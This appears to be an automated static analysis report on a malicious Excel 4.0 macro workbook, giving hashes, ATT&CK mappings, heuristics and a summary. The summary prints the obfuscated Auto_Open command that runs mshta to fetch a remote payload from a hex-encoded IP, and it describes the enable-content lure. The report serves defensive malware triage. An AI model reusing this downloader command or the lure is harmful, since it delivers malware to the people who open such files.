Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 88332a755b598b22…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: d01636353557b9322fa4a4a306fd45ae SHA-1: fdcb8ac560b9d2376b243914a77fa2bcd870f19a SHA-256: 88332a755b598b223e505fe301f4cc0dcb38bd04014f6906f5a5076385710454
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious Link

The sample is an Excel 4.0 macro sheet that uses an Auto_Open entry to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to bypass security warnings. The embedded macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which is designed to download and execute a payload from the specified URL. This indicates a downloader attack pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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